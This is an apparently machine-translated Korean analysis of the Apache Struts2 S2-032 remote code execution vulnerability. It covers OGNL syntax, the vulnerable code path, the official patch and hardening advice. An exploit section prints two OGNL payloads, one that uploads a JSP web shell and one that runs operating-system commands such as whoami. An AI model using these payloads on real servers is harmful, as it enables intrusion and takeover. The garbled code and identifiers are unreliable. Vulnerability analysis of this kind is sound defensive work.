2016 년 4 월 26 일, Apache Struts2는 공식적으로 또 다른 보안 발표를 발표했습니다. Apache Struts2 서비스는 주 방법이 호출되고 시작될 때 모든 명령을 원격으로 실행할 수 있습니다. 공식 번호는 S2-032이고 CVE 번호는 CVE-2016-3081입니다. 이것은 2012 년 Struts2 Command Execution 취약점이 발생한 지 4 년 만에 서비스의 대규모 취약점이 폭발했습니다.이 취약점은 올해도 노출 된 가장 심각한 보안 취약점입니다. 해커는이 취약점을 사용하여 엔터프라이즈 서버에서 원격 작업을 수행하여 데이터 유출, 원격 호스트 고발, 인트라넷 침투 등과 같은 주요 보안 위협을 초래할 수 있습니다.
취약성이 발생한 후 보안 및 관련 회사의 또 다른 집단 행사였습니다. 취약성 익스플로잇은이 취약점을 최대한 많이 사용하여 최고의 수준을 보여주었습니다. 다양한 공개 테스트 플랫폼이 플랫폼의 역할을 향상시키기 위해 잡힌 회사를 출시했습니다. 주요 보안 회사는 또한 회사의 영향력을 높이고, 마케팅, 무료 탐지, 가능한 빨리 업그레이드 등을 활용하기 위해이 취약점을 최대한 활용했습니다. 여전히 우울한 제조업체가 남아있는 많은 사람들이 있습니다. 그런 다음 많은 우울한 개발 및 운영 인력이 밤새 취약성 패치를 업그레이드해야합니다.
그러나 취약성의 원칙은 보호에 영향을 미치며 다른 요인은 거의 언급되지 않습니다. 이 기사는 위의 요점에 대한 자신의 의견을 제시하는 것입니다.
원칙
이 취약점은 Struts2의 동적 실행을 사용하여 Java 코드에 액세스합니다. 이 취약점을 사용하여 원격 웹 페이지를 스캔하여 이러한 취약점이 있는지 확인한 다음 악의적 인 지침을 보내고 파일 업로드를 구현하고 기본 명령 및 기타 후속 공격을 실행할 수 있습니다.
Ognl은 객체 그래프 탐색 언어의 약어이며 전체 이름은 객체 그래프 탐색 언어입니다. 강력한 표현 언어입니다. 간단하고 일관된 구문을 통해 객체의 속성에 액세스하거나 객체의 메소드를 마음대로 호출 할 수 있으며 전체 객체의 구조 다이어그램을 가로 지르고 개체 속성 유형 및 기타 함수의 변환을 실현할 수 있습니다.
#, % 및 $ 기호는 종종 Ognl 표현식에 나타납니다.
1. 일반적으로 # 기호의 세 가지 용도가 있습니다.
#session.msg expression과 같은 뿌리가 아닌 객체 속성에 액세스하기. Struts 2 중간 스택은 루트 객체로 간주되므로 다른 비 루트 객체에 액세스 할 때 접두사가 필요합니다. 사람과 같은 세트를 필터링하고 프로젝트 (프로젝트) 세트에 사용됩니다. {?#this.age> 25}, 사람. {?#this.name == 'pla1'}. {age} [0]; 예에서 #{ 'foo1': 'bar1', 'foo2': 'bar2'}와 같은 맵을 구성하는 데 사용됩니다.
2. %기호
% 기호의 목적은 플래그의 속성이 문자열 유형 일 때 Ognl 표현식의 값을 계산하는 것입니다. 이것은 JS의 Eval과 비슷하며 매우 폭력적입니다.
3. $ 기호에는 두 가지 주요 용도가 있습니다.
국제 자원 파일에서 국제 자원 파일의 코드와 같은 OGNL 표현식을 참조하십시오. reg.agerange = 국제 자원 정보 : 연령은 $ {min}과 $ {max} 사이 여야합니다. Struts 2 프레임 워크의 구성 파일에서 Ognl 표현식을 참조하십시오.
코드 활용 프로세스
1. 클라이언트 요청
http : // {websiteip.webapp} : {portnum}/{vul.action}? method = {malcmdstr}
2. DefaultactionProxy의 DefaultactionProxy 함수는 요청을 처리합니다.
보호 된 기본 ActionActionProxy (ActionInvocation inv, 문자열 네임 스페이스, 문자열 액션 이름, 문자열 메소드 이름, 부울 executeresult, boolean cleanupcontext) {this.invocation = inv; this.cleanupContext = cleanupContext; log.debug ( "네임 스페이스 [{}] 및 동작 이름 [{}]", 네임 스페이스, ActionName); this.actionName = StringEsCapeUtils.escapehtml4 (ActionName); this.namespace = 네임 스페이스; this.executeresult = executeresult; // 참석자는 가변 통과, 구문 충전, 문자 탈출 및 기타 방법을 통해이를 우회 할 수 있습니다. this.method = StringEscapeutils.escapeeCmascript (StringEscapeUtils.escapehtml4 (methodName));}3. defaultActionMapper 메소드 메소드 기본 정보 메이퍼의 이름입니다
문자열 이름 = key.SubString (action_prefix.length ()); if (alletyDynamicMethodCalls) {int bang = name.indexof ( '!'); if (bang! = -1) {// 메서드 이름 문자열 메서드 get get string methys = cleanupactionName (name.substring (bang + 1)); 매핑 .setMethod (메소드); name = name.substring (0, bang); }}4. 전달 된 메소드를 실행하려면 DefaultActionInvocation의 invokeaction 메소드를 호출하십시오.
보호 된 문자열 invokeaction (객체 조치, ActionConfig ActionConfig) 예외 {String MethodName = proxy.getMethod (); log.debug ( "실행 조치 메소드 = {}", MethodName); String TimerKey = "invokeAction :" + proxy.getActionName (); {utiltImerstack.push (TimerKey); 대상 방법을; try {// methodresult = gognlutil.getValue (methodName + "()", getStack (). getContext (), action); } catch (MethodFailedException e) {해결책
공식 솔루션은 3 단계의 함수 CleanupactionName에 검증을 추가하는 것입니다.
보호 된 패턴 허용됨에 따라 actameNames = pattern.comPile ( "[a-za-z0-9 ._! //-]*"); 보호 된 문자열 CleanupActionName (Final String RawActionName) {// Check, 필터 정기 일치 ( "[a-za-z0-9 ._! //-]*")를 입력하고 화이트리스트 방법을 채택합니다. if (allendActionNames.Matcher (rawActionName) .matches ()) {return rawActionName; } else {if (log.iswarnenabled ()) {log.warn ( "action/method [#0]은 허용 된 조치 이름 패턴 [#1], 청소!", RawActionName, endractionName); } 문자열 cleanActionName = rawActionName; for (string chunk : allendActionNames.Split (rawActionName)) {cleanActionName = cleanActionName.Replace (chunk, ""); } if (log.isdebugenabled ()) {log.debug ( "cleaned action/method name [#0]", cleanActionName); } return cleanActionName; }}제안을 수리하십시오
1. 동적 메소드 호출을 비활성화합니다
struts2의 구성 파일을 수정하고 "struts.enable.dynamicmethodinvocation"의 값을 예를 들어 false로 설정하십시오.
<constantname = "struts.enable.dynamicmethodinvocation"value = "false"/>;
2. 소프트웨어 버전을 업그레이드하십시오
스트럿 버전을 2.3.20.2, 2.3.24.2 또는 2.3.28.1로 업그레이드하십시오
패치 주소 : https://struts.apache.org/download.cgi#struts23281
코드를 이용하십시오
1. 파일 업로드 :
방법 :%23_memberAccess%[이메일] [email protected] [/email]@default_member_access,%23req%3d%40org.apache.structs2.servletactionContext%40getRequest (),%23 res%3d%40org.apache.structs2.servletactioncontext%40getResponse (),%23res.setcharacterencoding (%23parameters.encoding [0]),%23W%3d%23res.getWriter (),%23pat h%3d%23req.getRealPath (%23parameters.pp [0]), new%20java.io.bufferedwriter (new%20java.io.filewriter (%23 경로%2b%23parameters.shellname [0] (%23param eters.shellContent [0])). Close (),%23W.print (%23Path),%23W.close (), 1?%23xx :%23request.toString & shellname = stest.jsp & shellcontent = ttt & accoding = utf-8 & pp =%2f
위의 코드는 약간 불편 해 보입니다. 변환하고 살펴 보겠습니다.
메소드 : #_ memberAccess [email protected]@default_member_access,#req [email protected]@getRequest (),#[email protected] ervletactionContext@getResponse (),#res.SetchAracterEncoding (#parameters.encoding [0]),#w =#res.getWriter (),#path =#req.getRealPath (#parameters.pp [0]), 새 java.io.bufferedwriter (신규 java.io.filewriter (#path+#parameters.shellName [0]). Append (#parameters.shellContent [0]). Close (),#w.print (#path),#w.close (), 1? #xx :#request.toString & shellname = stest.jsp & shellcont = tt & encoding = utf-8
2. 로컬 명령 실행 :
방법 :%23_memberAccess%[email protected]@default_member_access,%23res%3d%40org.apache.structs2.servletactionContext%40getRespo nse (),%23res.setcharacterencoding (%23parameters.encoding [0]),%23W%3d%23res.getWriter (),%23S%3dnew+java.util.scanner (@java.lang.run time@getRuntime (). exec (%23parameters.cmd [0]). getInputStream ()). usedElimiter (%23parameters.pp [0]),%23str%3d%23.hasnext ()%3f%23s. 다음 ()%3A%23Parameters.ppp [0],%23W.print (%23str),%23W.close (), 1?%23xx :%23request.tostring & cmd = whoami & pp = // a & pp =%20 & encoding = utf-8
전환을 살펴 보겠습니다
메소드 : #_ memberAccess [#parameters.name1 [0]] = true,#_ MemberAccess [#parameters.name [0]] = true,#_ MemberAccess [#parameters.name2 [0]] = {}, _ MemberAccess [#paramete rs.name3 [0]] = {},#res [email protected]@getResponse (),#res.SetchAracterEncoding (#parameters.encoding [0]),#W#d#res.getWriter (),#s = new java.util.scanner (@java.lang.runtime@getRuntime (). exec (#parameters.cmd [0]). getInputStream ()). usedElimiter (#parameters.pp [0]),#str =##s.hasnext ()?#s.next () :##w.pr int (#str),#w.close (), 1? #xx :#request.toString & name = allowStaticMethodAccess & name1 = allowPrivateAccess & name2 = ExcludedPackagenamePatterns & name3 = ExcludedClass & cmd = whoami & pp =/encoding = utf-8이전 소개를 통해 전환 후에는 상대적으로 이해하기 쉽다는 것을 알았습니다.
방지하는 방법
보안에는 매우 중요한 원칙이 있으며, 이는 최소한의 권한의 원칙입니다. 소위 최소 특권은 "특정 작업을 완료 할 때 네트워크의 각 원금 (사용자 또는 프로세스)에 필수적인 권한을 나타냅니다. 최소 특권의 원칙은 "네트워크의 각 엔티티가 가능한 사고, 오류, 네트워크 구성 요소의 변조 및 기타 손실을 최소화 해야하는지 확인하기 위해 네트워크의 각 엔티티가 제한되어야한다"는 것을 의미합니다.
예를 들어, 시스템에서 동적 메소드 호출을 사용하지 않으면 배치 중에 제거되므로 패치가 발사되지 않더라도 여전히 사용되지 않습니다.
이 시스템에서 가장 중요한 피해 중 하나는 로컬 프로세스를 실행하는 것입니다.이 시스템은 시스템이 로컬로 수행되지 않으면 비활성화 할 수도 있습니다.
java 코드에서 로컬 명령을 실행하는 코드, ProcessImpl의 ProcessImpl을 살펴 보겠습니다.
Private ProcessImpl (String Cmd [], 최종 문자열 Envblock, 최종 문자열 경로, 최종 Long [] stDhandles, Final Boolean RedirecterRorstream) IoException {String CMDStr; SecurityManager Security = System.GetSecurityManager (); 부울 허용 ANFERAMBIGUUUSCOMMANDS = FALSE; if (security == null) {allowAmbiguousCommands = true; // JDK는 로컬 프로세스를 실행할 수 있는지 확인하기 위해 매개 변수를 지정했습니다. 문자열 값 = system.getProperty ( "jdk.lang.process.allowambiguousCommands"); if (value! = null) allowAmbiguousCommands =! "false".EqualSignoreCase (value); } if (allowAmbiguousCommands) {Java가 시작되면 매개 변수 -djdk.lang.process.alownambigouscommands = false를 추가하여 Java가 로컬 프로세스를 실행하지 않도록하십시오.
시스템을 배포 할 때 불필요한 컨텐츠를 미리 끄면이 취약점의 피해를 줄이거 나 제거 할 수 있습니다.